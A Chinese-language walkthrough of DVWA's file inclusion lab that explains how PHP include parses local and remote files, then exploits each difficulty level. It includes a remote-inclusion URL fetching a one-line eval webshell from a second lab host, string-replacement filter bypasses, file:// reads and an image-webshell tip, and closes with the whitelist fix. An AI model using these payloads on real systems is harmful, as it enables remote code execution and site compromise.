include
每次文件包含时,感觉里面的代码就是能执行,不知道include对包含文件的代码是如何处理,这种模糊的感觉总让我感到迷惑。我们知道php脚本是可以与其它脚本混合在一起的,只有php起始标记"<?php"和结束标记 "?>"之间的字符串才会被解析成php代码,对于标记之外的字符串就只是字符串,当然如果这些字符串往后被HTML解析器解析的话,也可以看成是HTML代码。
就我看来,Apache内置的解析器对脚本文件可以看成两种模式–php模式和文本模式,当解析一个php脚本文件时,遇到php起始标记时,就切换成php模式,直到结束标记,然后所有输出的结果就作为文本与其它文本结合。在标记之外,解析器就处于文本模式。include包含一个文件时,对文件的解析也类似。
// include.php
<?php
include "test.php";
echo "<br>";
echo "php";
?>
// test.php
this is a text
<?php
echo "<br>";
$var = "php";
?>
this is just a text
当include包含一个文件时,解析器首先处于文本模式,当遇到"<?php"时,切换成php模式,开始执行代码,在"?>"之后又切换成文本模式。上面两个文件就相当于这样一个文件:
<?php
?>
this is a text
<?php
echo "<br>";
$var = "php";
?>
this is just a text
<?php
echo "<br>";
echo "php";
?>
这是本地包含的情况,如果是远程文件包含的话,因为远程服务器可能会处理php脚本,因此包含进来的只是处理后的结果。
// include.php
<?php
include "http://192.168.127.129/test.php";
echo $var;
?>
// http://192.168.127.129/test.php
<?php
$var = 123;
?>
结果显示是"Undefined variable: var",变量未定义,因为test.php文件被远程服务器解析处理后,输出结果为空,所以$var就不存在了。但test.php如果是输出这样一段php脚本的话,$var就定义了。
<?php
echo '<?php $var=123; ?>';
?>
所以当我想包含远程服务器的一个木马时,确定它的返回结果一段有标记包裹的代码,而不是一段文本。可以修改文件后缀名为".txt",那么这个文件就不会在远程服务器被处理,当然可以也用以上的方法,echo输出一段完整的木马脚本。
Low
# low.php
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
low.php是被index.php包含的文件,index.php的部分代码:
......
if( isset( $file ) )
include( $file ); // $file就是对应low.php里面的$file
else {
header( 'Location:?page=include.php' );
exit;
}
.....
程序对输入完全没有过滤,可以直接读取本地或者远程的文件。先随便输入一些数据,看是否报错。
直接暴露了根目录的路径。可以试着读取本地文件:?page=./file4.php。也可以远程包含一个木马文件:http://192.168.127.130/dvwa/vulnerabilities/fi/?page=http://192.168.127.129/test.php。
// test.php
<?php
echo '<?php @eval($_POST["key"]);?>'
?>
当我尝试用菜刀连接时,发现连接不上???然而我手动给key参数赋值时,却是可以执行任意代码的。
Medium
// Medium.php
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
只是简单地对敏感字符做一次替换,可以双写绕过两个过滤。另外,对"http://"和"https://"的过滤,还可以将协议名大写。漏洞利用手段同Low。
High
// high.php
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
fnmatch ($pattern , $string):fnmatch() 检查传入的 string 是否匹配给出的 shell
统配符 pattern。 使用的是shell通配符,三个:* ? []
可以用file协议读取文件:?page=file://C:/php/WWW/dvwa/vulnerabilities/fi/file4.php。如果是windows环境的话,除了这个方法,也可以这样:?page=file/…/file4.php.
如果还想拿到webshell,那就先上传一个图片马,接着包含进来即可。
Impossible
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
利用了白名单机制,事实证明白名单确实是一个非常有效的安全机制。